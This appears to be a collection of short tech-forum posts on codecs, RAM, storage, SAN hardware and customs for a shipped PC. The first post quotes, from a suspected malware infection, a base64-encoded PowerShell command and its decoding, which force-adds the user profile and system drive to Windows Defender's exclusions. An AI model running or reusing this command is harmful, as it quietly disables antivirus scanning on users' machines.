  1. I have a weird virus that sometimes run on startup/login and tries to add the C drive to Defender's exclusion list. I've tried scanning with both Defender and Malwarebytes but both failed to pick up any application files related to it. Anyone have any ideas what it might be and how can I remove it without a reformat. The command that it tries to run is C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand PAAjAHQAZABiAGcAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBzAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBiAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBkAHAAYwAjAD4A which decodes to <#tdbg#> Add-MpPreference <#svp#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#bq#> -Force <#adpc#> Regards
  2. Anyone able to get 3rd party codecs (like KLite codec pack) to work with the new Windows Media Player? I tried a bunch of settings but it does not want to detect the extra codecs. To be clear, I'm talking only about the new Media Player. The standard one seems more than happy to use the custom codecs.
  3. I've been using one for years without issues. It even has 3.5mm audio output for speakers. Looks like this one: https://www.amazon.in/Adapter-Projector-Computer-Laptop-Projectors/dp/B08S41FZB6/
  4. That sounds like something like a cable touching the fan.
  5. If you want to run it wirelessly, there's gonna be bandwidth issues at those specs, even with compression.
  6. Task manager isn't detailed enough in it's reports. Open Resource Manager and you can find what's hogging that RAM.
  7. It might technically be possible but I wouldn't recommend it. As soon as your OS touches that memory, it's going to run into some weird issues as the host OS starts paging that memory. When an OS does paging, it's aware of the fact that it's dealing with slow memory and takes measures to minimize that access, in your case, the guest will continue to believe that the memory is standard fast RAM and access it as such. This is not ideal for any of the parties involved.
  8. I don't think I've ever run into storage limits. Sure there "might" be limits on the boot device. But after you get into an OS, it's the wild west as far as limits go.
  9. You can simply tar and bzip the file system instead of the entire drive. This is assuming that you're (he's) actually using a lot less than 2TB. If the usage is high, both will take pretty much the same time.
  10. Let's say that I'm moving to a different country for work. So if I ship my PC to myself, do I still need to pay standard customs charges on the shipment or is there a reduced charge that applies in these kinds of cases?
  11. All the chaos engineering in the world didn't help them it seems.
  12. think about it like this: the software guy's laziness is forcing the hardware guys to make better hardware. so please thank the next lazy developer you see for the powerful hardware in your pocket
  13. I won't blame the developers. Because then I'll end up blaming myself which I don't like. And like I said, sloppy developers are a result of manufacturers chasing numbers. Not the other way around. If anything, blame the manufacturers.
  14. I'd say it's the users who are to blame. The companies are just trying to sway their customers by trying to one-up the other company. So they keep adding more numbers. And in the minds of most people, bigger number = better thing. The developers are just getting a ton of computing power that they have no use for and figured that they can start to be sloppy since the hardware can take it.
  15. I'm under the impression that iSCSI is one of several protocols that can be used by a SAN network. For the purpose of discussion, let's assume any block storage network counts as SAN. But my question is more on the level of, if you want to deploy a SAN or iSCSI server/network, what sort of hardware/software you'd need to implement it.
